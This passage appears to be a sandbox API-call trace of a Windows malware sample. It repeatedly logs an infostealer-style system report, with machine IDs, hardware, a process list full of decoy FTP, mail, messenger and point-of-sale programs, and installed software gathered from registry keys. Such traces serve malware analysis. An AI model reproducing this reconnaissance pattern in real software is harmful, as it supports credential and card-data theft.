[652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]"
[0054.953] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]", lpString2="\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\n"
[0054.953] RegCloseKey (hKey=0x514) returned 0x0
[0054.953] RegEnumKeyExA (in: hKey=0x508, dwIndex=0x18, lpName=0x1816c4, lpcchName=0x1816c0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", lpcchName=0x1816c0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0
[0054.953] wsprintfA (in: param_1=0x181ac4, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}") returned 90
[0054.953] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}", ulOptions=0x0, samDesired=0x20019, phkResult=0x1816bc | out: phkResult=0x1816bc*=0x514) returned 0x0
[0054.953] RegQueryValueExA (in: hKey=0x514, lpValueName="DisplayName", lpReserved=0x0, lpType=0x1816b0, lpData=0x181ec4, lpcbData=0x1816c0*=0x400 | out: lpType=0x1816b0*=0x1, lpData="Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030", lpcbData=0x1816c0*=0x3d) returned 0x0
[0054.953] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional Plus 2016 [16.0.4266.1001]\nMicrosoft Visual C++ 2019 X86 Additional Runtime - 14.25.28508 [14.25.28508]\nMicrosoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 [12.0.21005]\nMicrosoft Visual C++ 2019 X86 Minimum Runtime - 14.25.28508 [14.25.28508]\n", lpString2="Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340]\n- certain.exe [2364]\n- protect-violence.exe [1288]\n- sister-staff.exe [560]\n- station.exe [592]\n- result.exe [1500]\n- identify-note.exe [388]\n- now.exe [1556]\n- him_maintain_quite.exe [3076]\n- 3dftp.exe [3508]\n- alftp.exe [3520]\n- absolutetelnet.exe [3528]\n- barca.exe [3536]\n- bitkinex.exe [3604]\n- coreftp.exe [3612]\n- far.exe [3628]\n- filezilla.exe [3636]\n- flashfxp.exe [3656]\n- fling.exe [3664]\n- foxmailincmail.exe [3676]\n- gmailnotifierpro.exe [3692]\n- icq.exe [3700]\n- leechftp.exe [3716]\n- ncftp.exe [3724]\n- notepad.exe [3744]\n- operamail.exe [3752]\n- outlook.exe [3768]\n- pidgin.exe [3776]\n- scriptftp.exe [3792]\n- skype.exe [3800]\n- smartftp.exe [3812]\n- thunderbird.exe [3820]\n- trillian.exe [3836]\n- webdrive.exe [3852]\n- whatsapp.exe [3860]\n- winscp.exe [3876]\n- yahoomessenger.exe [3892]\n- active-charge.exe [3920]\n- accupos.exe [3936]\n- afr38.exe [3944]\n- ccv_server.exe [3968]\n- centralcreditcard.exe [3976]\n- creditservice.exe [3996]\n- edcsvr.exe [4004]\n- fpos.exe [4016]\n- isspos.exe [4024]\n- mxslipstream.exe [4048]\n- omnipos.exe [4060]\n- spcwin.exe [4080]\n- spgagentservice.exe [4088]\n- utg2.exe [2944]\n- backprovideleg.exe [3904]\n- different.exe [1444]\n- usanswer.exe [3184]\n- generation-note-store.exe [4100]\n- really.exe [4112]\n- aldelo.exe [4144]\n- WmiPrvSE.exe [4180]\n- taskhostw.exe [4476]\n- msoia.exe [4484]\n- audiodg.exe [4716]\n- 05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe [4844]\n- backgroundTaskHost.exe [4900]\n\n[Software]\nMicrosoft Office Professional 